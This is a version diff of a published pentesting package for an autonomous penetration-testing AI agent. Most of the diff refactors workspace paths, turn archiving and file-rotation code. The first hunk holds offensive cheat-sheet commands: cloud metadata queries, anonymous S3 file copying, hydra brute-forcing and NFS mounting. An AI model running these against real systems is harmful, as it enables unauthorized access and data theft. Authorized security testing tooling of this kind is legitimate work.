pentesting 0.49.3 → 0.50.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -16,7 +16,7 @@ curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMeta
16
16
 
17
17
  # S3 Bucket Enumeration
18
18
  aws s3 ls s3://<bucket> --no-sign-request
19
- aws s3 cp s3://<bucket>/sensitive.txt .pentesting/tmp/ --no-sign-request
19
+ aws s3 cp s3://<bucket>/sensitive.txt .pentesting/workspace/ --no-sign-request
20
20
 
21
21
  # Azure Storage
22
22
  curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
@@ -38,8 +38,8 @@ hydra -L users.txt -P passwords.txt <target> ftp
38
38
  showmount -e <target>
39
39
  nmap -p 2049 --script nfs-ls,nfs-showmount,nfs-statfs <target>
40
40
  # NFS Mount
41
- mkdir -p .pentesting/tmp/nfs && mount -t nfs <target>:/<export> .pentesting/tmp/nfs
42
- ls -la .pentesting/tmp/nfs/
41
+ mkdir -p .pentesting/workspace/nfs && mount -t nfs <target>:/<export> .pentesting/workspace/nfs
42
+ ls -la .pentesting/workspace/nfs/
43
43
 
44
44
  # WebDAV
45
45
  davtest -url http://<target>/webdav/
package/dist/main.js CHANGED
@@ -187,7 +187,19 @@ var MEMORY_LIMITS = {
187
187
  /** Number of leading words to match for duplicate command detection */
188
188
  COMMAND_MATCH_WORDS: 3,
189
189
  /** Maximum unverified techniques to show in prompt */
190
- PROMPT_UNVERIFIED_TECHNIQUES: 10
190
+ PROMPT_UNVERIFIED_TECHNIQUES: 10,
191
+ /**
192
+ * Maximum turn entries and turn records kept on disk.
193
+ * WHY: journal.ts had this as a module-local constant (50).
194
+ * Centralizing enables consistent rotation across journal JSON + turn MD files.
195
+ */
196
+ MAX_TURN_ENTRIES: 50,
197
+ /**
198
+ * Maximum raw output files kept in .pentesting/outputs/.
199
+ * WHY: journal.ts had this as a module-local constant (30).
200
+ * Output files are large raw dumps; the journal entries retain their summaries.
201
+ */
202
+ MAX_OUTPUT_FILES: 30
191
203
  };
192
204
 
193
205
  // src/shared/constants/patterns.ts
@@ -331,7 +343,7 @@ var ORPHAN_PROCESS_NAMES = [
331
343
 
332
344
  // src/shared/constants/agent.ts
333
345
  var APP_NAME = "Pentest AI";
334
- var APP_VERSION = "0.49.3";
346
+ var APP_VERSION = "0.50.0";
335
347
  var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
336
348
  var LLM_ROLES = {
337
349
  SYSTEM: "system",
@@ -828,6 +840,12 @@ function ensureDirExists(dirPath) {
828
840
  mkdirSync(dirPath, { recursive: true });
829
841
  }
830
842
  }
843
+ function fileTimestamp() {
844
+ return (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-").slice(0, 19);
845
+ }
846
+ function sanitizeFilename(name, maxLength = 30) {
847
+ return name.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, maxLength);
848
+ }
831
849
 
832
850
  // src/shared/constants/time.ts
833
851
  var MS_PER_MINUTE = 6e4;
@@ -837,7 +855,7 @@ var SECONDS_PER_HOUR = 3600;
837
855
  // src/shared/constants/paths.ts
838
856
  import path from "path";
839
857
  var PENTESTING_ROOT = ".pentesting";
840
- var WORK_DIR = `${PENTESTING_ROOT}/tmp`;
858
+ var WORK_DIR = `${PENTESTING_ROOT}/workspace`;
841
859
  var MEMORY_DIR = `${PENTESTING_ROOT}/memory`;
842
860
  var REPORTS_DIR = `${PENTESTING_ROOT}/reports`;
843
861
  var SESSIONS_DIR = `${PENTESTING_ROOT}/sessions`;
@@ -845,13 +863,14 @@ var LOOT_DIR = `${PENTESTING_ROOT}/loot`;
845
863
  var OUTPUTS_DIR = `${PENTESTING_ROOT}/outputs`;
846
864
  var DEBUG_DIR = `${PENTESTING_ROOT}/debug`;
847
865
  var JOURNAL_DIR = `${PENTESTING_ROOT}/journal`;
848
- var TURNS_DIR = `${PENTESTING_ROOT}/memory/turns`;
866
+ var ARCHIVE_DIR = `${PENTESTING_ROOT}/archive`;
867
+ var TURN_FOLDER_PREFIX = "turn-";
849
868
  var WORKSPACE = {
850
869
  /** Root directory */
851
870
  get ROOT() {
852
871
  return path.resolve(PENTESTING_ROOT);
853
872
  },
854
- /** Temporary files */
873
+ /** Working directory (scripts, redirects, staging) */
855
874
  get TMP() {
856
875
  return path.resolve(WORK_DIR);
857
876
  },
@@ -871,7 +890,7 @@ var WORKSPACE = {
871
890
  get LOOT() {
872
891
  return path.resolve(LOOT_DIR);
873
892
  },
874
- /** Full tool outputs */
893
+ /** DEPRECATED tool outputs now in archive/turn-N/tools/ (kept for clearWorkspace cleanup) */
875
894
  get OUTPUTS() {
876
895
  return path.resolve(OUTPUTS_DIR);
877
896
  },
@@ -879,13 +898,26 @@ var WORKSPACE = {
879
898
  get DEBUG() {
880
899
  return path.resolve(DEBUG_DIR);
881
900
  },
882
- /** Persistent per-turn journal (§13 memo system) */
901
+ /** DEPRECATED journal/ no longer written to (kept for /clear cleanup) */
883
902
  get JOURNAL() {
884
903
  return path.resolve(JOURNAL_DIR);
885
904
  },
886
- /** Turn record files */
905
+ /** Turn archive root: .pentesting/archive/ */
887
906
  get TURNS() {
888
- return path.resolve(TURNS_DIR);
907
+ return path.resolve(ARCHIVE_DIR);
908
+ },
909
+ /**
910
+ * Resolve a specific turn directory: .pentesting/archive/turn-{N}/
911
+ * Each turn is a named folder containing record.md, structured.json, analyst.md, summary.md, tools/
912
+ */
913
+ turnPath(turn) {
914
+ return path.resolve(ARCHIVE_DIR, `${TURN_FOLDER_PREFIX}${turn}`);
915
+ },
916
+ /**
917
+ * Resolve the tools output directory for a specific turn: .pentesting/archive/turn-{N}/tools/
918
+ */
919
+ turnToolsPath(turn) {
920
+ return path.resolve(ARCHIVE_DIR, `${TURN_FOLDER_PREFIX}${turn}`, "tools");
889
921
  }
890
922
  };
891
923
 
@@ -1129,6 +1161,66 @@ var BLOCKED_BINARIES = /* @__PURE__ */ new Set([
1129
1161
  // src/shared/utils/debug-logger.ts
1130
1162
  import { appendFileSync, writeFileSync } from "fs";
1131
1163
  import { join } from "path";
1164
+
1165
+ // src/shared/constants/files.ts
1166
+ var FILE_EXTENSIONS = {
1167
+ // Data formats
1168
+ JSON: ".json",
1169
+ MARKDOWN: ".md",
1170
+ TXT: ".txt",
1171
+ XML: ".xml",
1172
+ // Network capture
1173
+ PCAP: ".pcap",
1174
+ HOSTS: ".hosts",
1175
+ MITM: ".mitm",
1176
+ // Process I/O
1177
+ STDOUT: ".stdout",
1178
+ STDERR: ".stderr",
1179
+ STDIN: ".stdin",
1180
+ // Scripts
1181
+ SH: ".sh",
1182
+ PY: ".py",
1183
+ CJS: ".cjs",
1184
+ // Config
1185
+ ENV: ".env",
1186
+ BAK: ".bak"
1187
+ };
1188
+ var SPECIAL_FILES = {
1189
+ /** Latest state snapshot */
1190
+ LATEST_STATE: "latest.json",
1191
+ /** README */
1192
+ README: "README.md",
1193
+ /** Session summary (single source — LLM primary, deterministic fallback) */
1194
+ SUMMARY: "summary.md",
1195
+ /** Persistent knowledge store */
1196
+ PERSISTENT_KNOWLEDGE: "persistent-knowledge.json",
1197
+ /** Debug log file */
1198
+ DEBUG_LOG: "debug.log"
1199
+ };
1200
+ var TURN_FILES = {
1201
+ /** Turn record (Markdown) — what happened this turn */
1202
+ RECORD: "record.md",
1203
+ /** Structured turn data (JSON) */
1204
+ STRUCTURED: "structured.json",
1205
+ /** Analyst LLM analysis output */
1206
+ ANALYST: "analyst.md",
1207
+ /** Session summary as of this turn (immutable once written) */
1208
+ SUMMARY: "summary.md",
1209
+ /** Directory for raw tool outputs */
1210
+ TOOLS_DIR: "tools"
1211
+ };
1212
+ var FILE_PATTERNS = {
1213
+ /** Tool output filename: nmap.txt, gobuster.txt (sanitized) */
1214
+ toolOutput(toolName) {
1215
+ return `${sanitizeFilename(toolName)}.txt`;
1216
+ },
1217
+ /** Generate session snapshot filename: 2026-02-21T08-30-15.json */
1218
+ session() {
1219
+ return `${fileTimestamp()}.json`;
1220
+ }
1221
+ };
1222
+
1223
+ // src/shared/utils/debug-logger.ts
1132
1224
  var DebugLogger = class _DebugLogger {
1133
1225
  static instance;
1134
1226
  logPath;
@@ -1137,7 +1229,7 @@ var DebugLogger = class _DebugLogger {
1137
1229
  const debugDir = WORKSPACE.DEBUG;
1138
1230
  try {
1139
1231
  ensureDirExists(debugDir);
1140
- this.logPath = join(debugDir, "debug.log");
1232
+ this.logPath = join(debugDir, SPECIAL_FILES.DEBUG_LOG);
1141
1233
  if (clearOnInit) {
1142
1234
  this.clear();
1143
1235
  }
@@ -1842,34 +1934,6 @@ function createTempFile(suffix = "") {
1842
1934
  return join2(tmpdir(), generateTempFilename(suffix));
1843
1935
  }
1844
1936
 
1845
- // src/shared/constants/files.ts
1846
- var FILE_EXTENSIONS = {
1847
- // Data formats
1848
- JSON: ".json",
1849
- MARKDOWN: ".md",
1850
- TXT: ".txt",
1851
- XML: ".xml",
1852
- // Network capture
1853
- PCAP: ".pcap",
1854
- HOSTS: ".hosts",
1855
- MITM: ".mitm",
1856
- // Process I/O
1857
- STDOUT: ".stdout",
1858
- STDERR: ".stderr",
1859
- STDIN: ".stdin",
1860
- // Scripts
1861
- SH: ".sh",
1862
- PY: ".py",
1863
- CJS: ".cjs",
1864
- // Config
1865
- ENV: ".env",
1866
- BAK: ".bak"
1867
- };
1868
- var SPECIAL_FILES = {
1869
- LATEST_STATE: "latest.json",
1870
- README: "README.md"
1871
- };
1872
-
1873
1937
  // src/engine/process-cleanup.ts
1874
1938
  import { unlinkSync } from "fs";
1875
1939
 
@@ -3091,7 +3155,7 @@ var AttackGraph = class {
3091
3155
  };
3092
3156
 
3093
3157
  // src/shared/utils/agent-memory.ts
3094
- import { existsSync as existsSync4, readFileSync as readFileSync3, writeFileSync as writeFileSync4, mkdirSync as mkdirSync2 } from "fs";
3158
+ import { existsSync as existsSync4, readFileSync as readFileSync3, writeFileSync as writeFileSync4 } from "fs";
3095
3159
  import { join as join3 } from "path";
3096
3160
  var WorkingMemory = class {
3097
3161
  entries = [];
@@ -3247,7 +3311,7 @@ var EpisodicMemory = class {
3247
3311
  this.events = [];
3248
3312
  }
3249
3313
  };
3250
- var MEMORY_FILE = join3(WORKSPACE.MEMORY, "persistent-knowledge.json");
3314
+ var MEMORY_FILE = join3(WORKSPACE.MEMORY, SPECIAL_FILES.PERSISTENT_KNOWLEDGE);
3251
3315
  var PersistentMemory = class {
3252
3316
  knowledge;
3253
3317
  constructor() {
@@ -3338,7 +3402,7 @@ var PersistentMemory = class {
3338
3402
  }
3339
3403
  save() {
3340
3404
  try {
3341
- mkdirSync2(WORKSPACE.MEMORY, { recursive: true });
3405
+ ensureDirExists(WORKSPACE.MEMORY);
3342
3406
  writeFileSync4(MEMORY_FILE, JSON.stringify(this.knowledge, null, 2));
3343
3407
  } catch {
3344
3408
  }
@@ -9751,8 +9815,7 @@ function saveState(state) {
9751
9815
  missionSummary: state.getMissionSummary(),
9752
9816
  missionChecklist: state.getMissionChecklist()
9753
9817
  };
9754
- const sessionId = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-");
9755
- const sessionFile = join8(sessionsDir, `${sessionId}.json`);
9818
+ const sessionFile = join8(sessionsDir, FILE_PATTERNS.session());
9756
9819
  writeFileSync6(sessionFile, JSON.stringify(snapshot, null, 2), "utf-8");
9757
9820
  const latestFile = join8(sessionsDir, "latest.json");
9758
9821
  writeFileSync6(latestFile, JSON.stringify(snapshot, null, 2), "utf-8");
@@ -9941,11 +10004,72 @@ function appendBlockedCommandHints(lines, errorLower) {
9941
10004
  }
9942
10005
 
9943
10006
  // src/shared/utils/context-digest.ts
9944
- import { writeFileSync as writeFileSync7, mkdirSync as mkdirSync3, existsSync as existsSync7 } from "fs";
10007
+ import { writeFileSync as writeFileSync7 } from "fs";
10008
+
10009
+ // src/shared/constants/document-schema.ts
10010
+ var MEMO_SECTIONS = {
10011
+ KEY_FINDINGS: "Key Findings",
10012
+ CREDENTIALS: "Credentials/Secrets",
10013
+ ATTACK_VECTORS: "Attack Vectors",
10014
+ FAILURES: "Failures/Errors",
10015
+ SUSPICIONS: "Suspicious Signals",
10016
+ ATTACK_VALUE: "Attack Value",
10017
+ NEXT_STEPS: "Next Steps",
10018
+ REFLECTION: "Reflection"
10019
+ };
10020
+ var MEMO_PARSE_KEYS = {
10021
+ KEY_FINDINGS: MEMO_SECTIONS.KEY_FINDINGS.toLowerCase(),
10022
+ CREDENTIALS: MEMO_SECTIONS.CREDENTIALS.toLowerCase(),
10023
+ ATTACK_VECTORS: MEMO_SECTIONS.ATTACK_VECTORS.toLowerCase(),
10024
+ FAILURES: MEMO_SECTIONS.FAILURES.toLowerCase(),
10025
+ SUSPICIONS: MEMO_SECTIONS.SUSPICIONS.toLowerCase(),
10026
+ ATTACK_VALUE: MEMO_SECTIONS.ATTACK_VALUE.toLowerCase(),
10027
+ NEXT_STEPS: MEMO_SECTIONS.NEXT_STEPS.toLowerCase(),
10028
+ REFLECTION: MEMO_SECTIONS.REFLECTION.toLowerCase()
10029
+ };
10030
+ var TURN_SECTIONS = {
10031
+ TOOLS_EXECUTED: "\uC2E4\uD589 \uB3C4\uAD6C",
10032
+ KEY_INSIGHTS: "\uD575\uC2EC \uC778\uC0AC\uC774\uD2B8",
10033
+ SELF_REFLECTION: "\uC790\uAE30\uBC18\uC131"
10034
+ };
10035
+ var INSIGHT_TAGS = {
10036
+ DISCOVERED: "DISCOVERED",
10037
+ CREDENTIAL: "CREDENTIAL",
10038
+ CONFIRMED: "CONFIRMED",
10039
+ DEAD_END: "DEAD END",
10040
+ SUSPICIOUS: "SUSPICIOUS",
10041
+ NEXT: "NEXT"
10042
+ };
10043
+ var TURN_EMPTY_MESSAGES = {
10044
+ NO_TOOLS: "(\uB3C4\uAD6C \uC2E4\uD589 \uC5C6\uC74C)",
10045
+ NO_INSIGHTS: "(\uD2B9\uC774\uC0AC\uD56D \uC5C6\uC74C)",
10046
+ NO_REFLECTION: "(\uBC18\uC131 \uC5C6\uC74C)"
10047
+ };
10048
+ var SUMMARY_SECTIONS = {
10049
+ TITLE: "Session Journal Summary",
10050
+ TECHNIQUES_TRIED: "Techniques Tried (by attack value)",
10051
+ TECHNIQUES_LEGEND: "> \u26A1HIGH=keep drilling \u26A1MED=worth exploring \u26A1LOW=low priority \u26A1NONE=abandon",
10052
+ ANALYST_ANALYSIS: "\u{1F9E0} Analyst Analysis (attack value rationale)",
10053
+ SUSPICIOUS: "\u{1F50D} Suspicious Signals (unconfirmed, needs investigation)",
10054
+ KEY_FINDINGS: "\u{1F4CB} Key Findings",
10055
+ CREDENTIALS: "\u{1F511} Credentials Obtained",
10056
+ SUCCESS_VECTORS: "\u2705 Successful Attack Vectors",
10057
+ FAILURE_CAUSES: "\u274C Failure Causes (do not repeat)",
10058
+ NEXT_RECS: "\u27A1\uFE0F Next Recommendations"
10059
+ };
10060
+ var STATUS_ICONS = {
10061
+ SUCCESS: "\u2705",
10062
+ FAILURE: "\u274C"
10063
+ };
10064
+
10065
+ // src/shared/utils/context-digest.ts
9945
10066
  var PASSTHROUGH_THRESHOLD = 500;
9946
10067
  var PREPROCESS_THRESHOLD = 3e3;
9947
10068
  var MAX_PREPROCESSED_LINES = 800;
9948
- var getOutputDir = () => WORKSPACE.OUTPUTS;
10069
+ var _currentTurn = null;
10070
+ function setCurrentTurn(turn) {
10071
+ _currentTurn = turn;
10072
+ }
9949
10073
  var MAX_DUPLICATE_DISPLAY = 3;
9950
10074
  var ANALYST_MAX_INPUT_CHARS = 8e4;
9951
10075
  var FALLBACK_MAX_CHARS = 3e4;
@@ -10154,13 +10278,13 @@ function parseAnalystMemo(response) {
10154
10278
  const rawValue = attackValueLine.toUpperCase();
10155
10279
  const attackValue = ["HIGH", "MED", "LOW", "NONE"].includes(rawValue) ? rawValue : "LOW";
10156
10280
  return {
10157
- keyFindings: filterNone(sections["key findings"] || []),
10158
- credentials: filterNone(sections["credentials/secrets"] || []),
10159
- attackVectors: filterNone(sections["attack vectors"] || []),
10160
- failures: filterNone(sections["failures/errors"] || []),
10161
- suspicions: filterNone(sections["suspicious signals"] || []),
10281
+ keyFindings: filterNone(sections[MEMO_PARSE_KEYS.KEY_FINDINGS] || []),
10282
+ credentials: filterNone(sections[MEMO_PARSE_KEYS.CREDENTIALS] || []),
10283
+ attackVectors: filterNone(sections[MEMO_PARSE_KEYS.ATTACK_VECTORS] || []),
10284
+ failures: filterNone(sections[MEMO_PARSE_KEYS.FAILURES] || []),
10285
+ suspicions: filterNone(sections[MEMO_PARSE_KEYS.SUSPICIONS] || []),
10162
10286
  attackValue,
10163
- nextSteps: filterNone(sections["next steps"] || []),
10287
+ nextSteps: filterNone(sections[MEMO_PARSE_KEYS.NEXT_STEPS] || []),
10164
10288
  reflection: [
10165
10289
  attackValueReasoning ? `[${attackValue}] ${attackValueReasoning}` : "",
10166
10290
  ...reflectionLines
@@ -10205,13 +10329,13 @@ function normalizeLine(line) {
10205
10329
  }
10206
10330
  function saveFullOutput(output, toolName) {
10207
10331
  try {
10208
- const outputDir = getOutputDir();
10209
- if (!existsSync7(outputDir)) {
10210
- mkdirSync3(outputDir, { recursive: true });
10332
+ if (_currentTurn === null) {
10333
+ debugLog("general", "saveFullOutput called without current turn set", { toolName });
10334
+ return "(no current turn \u2014 output not saved)";
10211
10335
  }
10212
- const timestamp = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-").slice(0, 19);
10213
- const safeName = toolName.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 30);
10214
- const filePath = `${outputDir}/${timestamp}_${safeName}.txt`;
10336
+ const toolsDir = WORKSPACE.turnToolsPath(_currentTurn);
10337
+ ensureDirExists(toolsDir);
10338
+ const filePath = `${toolsDir}/${FILE_PATTERNS.toolOutput(toolName)}`;
10215
10339
  writeFileSync7(filePath, output, "utf-8");
10216
10340
  return filePath;
10217
10341
  } catch (err) {
@@ -11182,44 +11306,39 @@ function getAttacksForService(service, port) {
11182
11306
  }
11183
11307
 
11184
11308
  // src/shared/utils/journal.ts
11185
- import { writeFileSync as writeFileSync8, readFileSync as readFileSync5, existsSync as existsSync8, readdirSync as readdirSync2, statSync as statSync2, unlinkSync as unlinkSync5 } from "fs";
11309
+ import { writeFileSync as writeFileSync8, readFileSync as readFileSync5, existsSync as existsSync8, readdirSync as readdirSync2, statSync as statSync2, rmSync as rmSync2 } from "fs";
11186
11310
  import { join as join9 } from "path";
11187
- var MAX_JOURNAL_ENTRIES = 50;
11188
- var MAX_OUTPUT_FILES = 30;
11189
- var TURN_PREFIX = "turn-";
11190
- var SUMMARY_FILE = "summary.md";
11191
- function writeJournalEntry(entry) {
11192
- try {
11193
- const journalDir = WORKSPACE.JOURNAL;
11194
- ensureDirExists(journalDir);
11195
- const padded = String(entry.turn).padStart(4, "0");
11196
- const filePath = join9(journalDir, `${TURN_PREFIX}${padded}.json`);
11197
- writeFileSync8(filePath, JSON.stringify(entry, null, 2), "utf-8");
11198
- return filePath;
11199
- } catch (err) {
11200
- debugLog("general", "Failed to write journal entry", { turn: entry.turn, error: String(err) });
11201
- return null;
11202
- }
11311
+ function parseTurnNumbers(turnsDir) {
11312
+ if (!existsSync8(turnsDir)) return [];
11313
+ return readdirSync2(turnsDir).filter((e) => e.startsWith(TURN_FOLDER_PREFIX) && /^\d+$/.test(e.slice(TURN_FOLDER_PREFIX.length))).map((e) => Number(e.slice(TURN_FOLDER_PREFIX.length)));
11203
11314
  }
11204
11315
  function readJournalSummary() {
11205
11316
  try {
11206
- const summaryPath = join9(WORKSPACE.JOURNAL, SUMMARY_FILE);
11207
- if (!existsSync8(summaryPath)) return "";
11208
- return readFileSync5(summaryPath, "utf-8");
11317
+ const turnsDir = WORKSPACE.TURNS;
11318
+ const turnDirs = parseTurnNumbers(turnsDir).sort((a, b) => b - a);
11319
+ for (const turn of turnDirs) {
11320
+ const summaryPath = join9(WORKSPACE.turnPath(turn), TURN_FILES.SUMMARY);
11321
+ if (existsSync8(summaryPath)) {
11322
+ return readFileSync5(summaryPath, "utf-8");
11323
+ }
11324
+ }
11325
+ return "";
11209
11326
  } catch {
11210
11327
  return "";
11211
11328
  }
11212
11329
  }
11213
- function getRecentEntries(count = MAX_JOURNAL_ENTRIES) {
11330
+ function getRecentEntries(count = MEMORY_LIMITS.MAX_TURN_ENTRIES) {
11214
11331
  try {
11215
- const journalDir = WORKSPACE.JOURNAL;
11216
- if (!existsSync8(journalDir)) return [];
11217
- const files = readdirSync2(journalDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".json")).sort().slice(-count);
11332
+ const turnsDir = WORKSPACE.TURNS;
11333
+ const turnDirs = parseTurnNumbers(turnsDir).sort((a, b) => a - b).slice(-count);
11218
11334
  const entries = [];
11219
- for (const file of files) {
11335
+ for (const turn of turnDirs) {
11220
11336
  try {
11221
- const raw = readFileSync5(join9(journalDir, file), "utf-8");
11222
- entries.push(JSON.parse(raw));
11337
+ const filePath = join9(WORKSPACE.turnPath(turn), TURN_FILES.STRUCTURED);
11338
+ if (existsSync8(filePath)) {
11339
+ const raw = readFileSync5(filePath, "utf-8");
11340
+ entries.push(JSON.parse(raw));
11341
+ }
11223
11342
  } catch {
11224
11343
  }
11225
11344
  }
@@ -11230,13 +11349,10 @@ function getRecentEntries(count = MAX_JOURNAL_ENTRIES) {
11230
11349
  }
11231
11350
  function getNextTurnNumber() {
11232
11351
  try {
11233
- const journalDir = WORKSPACE.JOURNAL;
11234
- if (!existsSync8(journalDir)) return 1;
11235
- const files = readdirSync2(journalDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".json")).sort();
11236
- if (files.length === 0) return 1;
11237
- const lastFile = files[files.length - 1];
11238
- const match = lastFile.match(/turn-(\d+)\.json/);
11239
- return match ? parseInt(match[1], 10) + 1 : 1;
11352
+ const turnsDir = WORKSPACE.TURNS;
11353
+ const turnDirs = parseTurnNumbers(turnsDir);
11354
+ if (turnDirs.length === 0) return 1;
11355
+ return Math.max(...turnDirs) + 1;
11240
11356
  } catch {
11241
11357
  return 1;
11242
11358
  }
@@ -11245,10 +11361,12 @@ function regenerateJournalSummary() {
11245
11361
  try {
11246
11362
  const entries = getRecentEntries();
11247
11363
  if (entries.length === 0) return;
11248
- const journalDir = WORKSPACE.JOURNAL;
11249
- ensureDirExists(journalDir);
11364
+ const latestTurn = entries.reduce((max, e) => Math.max(max, e.turn), 0);
11365
+ if (latestTurn === 0) return;
11366
+ const turnDir = WORKSPACE.turnPath(latestTurn);
11367
+ ensureDirExists(turnDir);
11250
11368
  const summary = buildSummaryFromEntries(entries);
11251
- const summaryPath = join9(journalDir, SUMMARY_FILE);
11369
+ const summaryPath = join9(turnDir, TURN_FILES.SUMMARY);
11252
11370
  writeFileSync8(summaryPath, summary, "utf-8");
11253
11371
  debugLog("general", "Journal summary regenerated", {
11254
11372
  entries: entries.length,
@@ -11326,7 +11444,7 @@ function formatSummaryMarkdown(buckets, entries) {
11326
11444
  );
11327
11445
  const lastTurn = entries[entries.length - 1]?.turn || 0;
11328
11446
  const sections = [
11329
- `# Session Journal Summary`,
11447
+ `# ${SUMMARY_SECTIONS.TITLE}`,
11330
11448
  `> Turn ${lastTurn} / ${(/* @__PURE__ */ new Date()).toISOString().slice(0, 19)}`,
11331
11449
  ""
11332
11450
  ];
@@ -11337,81 +11455,38 @@ function formatSummaryMarkdown(buckets, entries) {
11337
11455
  sections.push("");
11338
11456
  };
11339
11457
  if (attemptLines.length > 0) {
11340
- sections.push("## Techniques Tried (by attack value)");
11341
- sections.push("> \u26A1HIGH=keep drilling \u26A1MED=worth exploring \u26A1LOW=low priority \u26A1NONE=abandon");
11458
+ sections.push(`## ${SUMMARY_SECTIONS.TECHNIQUES_TRIED}`);
11459
+ sections.push(SUMMARY_SECTIONS.TECHNIQUES_LEGEND);
11342
11460
  sections.push(...attemptLines);
11343
11461
  sections.push("");
11344
11462
  }
11345
- addSection("\u{1F9E0} Analyst Analysis (attack value rationale)", reflections);
11346
- addSection("\u{1F50D} Suspicious Signals (unconfirmed, needs investigation)", suspicions);
11347
- addSection("\u{1F4CB} Key Findings", findings);
11348
- addSection("\u{1F511} Credentials Obtained", credentials);
11349
- addSection("\u2705 Successful Attack Vectors", successes);
11350
- addSection("\u274C Failure Causes (do not repeat)", failures);
11351
- addSection("\u27A1\uFE0F Next Recommendations", nextSteps);
11463
+ addSection(SUMMARY_SECTIONS.ANALYST_ANALYSIS, reflections);
11464
+ addSection(SUMMARY_SECTIONS.SUSPICIOUS, suspicions);
11465
+ addSection(SUMMARY_SECTIONS.KEY_FINDINGS, findings);
11466
+ addSection(SUMMARY_SECTIONS.CREDENTIALS, credentials);
11467
+ addSection(SUMMARY_SECTIONS.SUCCESS_VECTORS, successes);
11468
+ addSection(SUMMARY_SECTIONS.FAILURE_CAUSES, failures);
11469
+ addSection(SUMMARY_SECTIONS.NEXT_RECS, nextSteps);
11352
11470
  return sections.join("\n");
11353
11471
  }
11354
- function rotateJournalEntries() {
11355
- try {
11356
- const journalDir = WORKSPACE.JOURNAL;
11357
- if (!existsSync8(journalDir)) return;
11358
- const files = readdirSync2(journalDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".json")).sort();
11359
- if (files.length <= MAX_JOURNAL_ENTRIES) return;
11360
- const toDelete = files.slice(0, files.length - MAX_JOURNAL_ENTRIES);
11361
- for (const file of toDelete) {
11362
- try {
11363
- unlinkSync5(join9(journalDir, file));
11364
- } catch {
11365
- }
11366
- }
11367
- debugLog("general", "Journal entries rotated", {
11368
- deleted: toDelete.length,
11369
- remaining: MAX_JOURNAL_ENTRIES
11370
- });
11371
- } catch {
11372
- }
11373
- }
11374
- function rotateOutputFiles() {
11375
- try {
11376
- const outputDir = WORKSPACE.OUTPUTS;
11377
- if (!existsSync8(outputDir)) return;
11378
- const files = readdirSync2(outputDir).filter((f) => f.endsWith(".txt")).map((f) => ({
11379
- name: f,
11380
- path: join9(outputDir, f),
11381
- mtime: statSync2(join9(outputDir, f)).mtimeMs
11382
- })).sort((a, b) => b.mtime - a.mtime);
11383
- if (files.length <= MAX_OUTPUT_FILES) return;
11384
- const toDelete = files.slice(MAX_OUTPUT_FILES);
11385
- for (const file of toDelete) {
11386
- try {
11387
- unlinkSync5(file.path);
11388
- } catch {
11389
- }
11390
- }
11391
- debugLog("general", "Output files rotated", {
11392
- deleted: toDelete.length,
11393
- remaining: MAX_OUTPUT_FILES
11394
- });
11395
- } catch {
11396
- }
11397
- }
11398
11472
  function rotateTurnRecords() {
11399
11473
  try {
11400
11474
  const turnsDir = WORKSPACE.TURNS;
11401
11475
  if (!existsSync8(turnsDir)) return;
11402
- const files = readdirSync2(turnsDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".md")).sort();
11403
- if (files.length <= MAX_JOURNAL_ENTRIES) return;
11404
- const toDelete = files.slice(0, files.length - MAX_JOURNAL_ENTRIES);
11405
- for (const file of toDelete) {
11406
- try {
11407
- unlinkSync5(join9(turnsDir, file));
11408
- } catch {
11476
+ const turnDirs = parseTurnNumbers(turnsDir).map((n) => `${TURN_FOLDER_PREFIX}${n}`).filter((e) => statSync2(join9(turnsDir, e)).isDirectory()).sort((a, b) => Number(a.slice(TURN_FOLDER_PREFIX.length)) - Number(b.slice(TURN_FOLDER_PREFIX.length)));
11477
+ if (turnDirs.length > MEMORY_LIMITS.MAX_TURN_ENTRIES) {
11478
+ const dirsToDel = turnDirs.slice(0, turnDirs.length - MEMORY_LIMITS.MAX_TURN_ENTRIES);
11479
+ for (const dir of dirsToDel) {
11480
+ try {
11481
+ rmSync2(join9(turnsDir, dir), { recursive: true, force: true });
11482
+ } catch {
11483
+ }
11409
11484
  }
11485
+ debugLog("general", "Turn folders rotated", {
11486
+ deleted: dirsToDel.length,
11487
+ remaining: MEMORY_LIMITS.MAX_TURN_ENTRIES
11488
+ });
11410
11489
  }
11411
- debugLog("general", "Turn records rotated", {
11412
- deleted: toDelete.length,
11413
- remaining: MAX_JOURNAL_ENTRIES
11414
- });
11415
11490
  } catch {
11416
11491
  }
11417
11492
  }
@@ -11726,20 +11801,10 @@ ${lines.join("\n")}
11726
11801
  }
11727
11802
  // --- §13: Session Journal Summary ---
11728
11803
  /**
11729
- * Load journal summary prefers Summary Regenerator (⑥) output,
11730
- * falls back to deterministic journal summary.
11804
+ * Load journal summary from the latest turn folder.
11731
11805
  */
11732
11806
  getJournalFragment() {
11733
11807
  try {
11734
- const summaryPath = join10(WORKSPACE.TURNS, "summary.md");
11735
- if (existsSync9(summaryPath)) {
11736
- const summary2 = readFileSync6(summaryPath, "utf-8");
11737
- if (summary2.trim()) {
11738
- return `<session-journal>
11739
- ${summary2}
11740
- </session-journal>`;
11741
- }
11742
- }
11743
11808
  const summary = readJournalSummary();
11744
11809
  if (!summary) return "";
11745
11810
  return `<session-journal>
@@ -11823,14 +11888,7 @@ var Strategist = class {
11823
11888
  sections.push(failures);
11824
11889
  }
11825
11890
  try {
11826
- let journalSummary = "";
11827
- const summaryPath = join11(WORKSPACE.TURNS, "summary.md");
11828
- if (existsSync10(summaryPath)) {
11829
- journalSummary = readFileSync7(summaryPath, "utf-8").trim();
11830
- }
11831
- if (!journalSummary) {
11832
- journalSummary = readJournalSummary();
11833
- }
11891
+ const journalSummary = readJournalSummary();
11834
11892
  if (journalSummary) {
11835
11893
  sections.push("");
11836
11894
  sections.push("## Session Journal (past turns summary)");
@@ -12146,42 +12204,42 @@ function formatTurnRecord(input) {
12146
12204
  const sections = [];
12147
12205
